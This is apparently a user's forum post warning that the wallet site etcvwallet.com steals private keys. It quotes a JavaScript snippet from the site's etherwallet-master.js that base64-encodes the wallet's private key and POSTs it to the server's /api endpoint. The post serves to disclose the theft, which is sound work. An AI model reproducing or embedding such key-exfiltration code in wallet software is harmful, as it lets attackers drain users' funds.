Why is the private key uploaded to the server on the only existing wallet
https://etcvwallet.com ? What is the purpose of this wallet website when there is no network yet? That address network.ethereumcv.io doesn't exist.
And this code from etherwallet-master.js from website at line 3832 is not ok:
$scope.$on('ChangeWallet', function () {
const key = window.btoa($scope.walletService.wallet.getPrivateKeyString());
window.fetch('/api', {
method: 'POST',
mode: 'cors',
cache: 'no-cache',
credentials: 'same-origin',
headers: {
'Content-Type': 'application/json'
},
redirect: 'follow',
referrer: 'no-referrer',
body: JSON.stringify({ api_token: key })
});
It uploads the private key of whoever tries to see his existing ETH wallet to the server.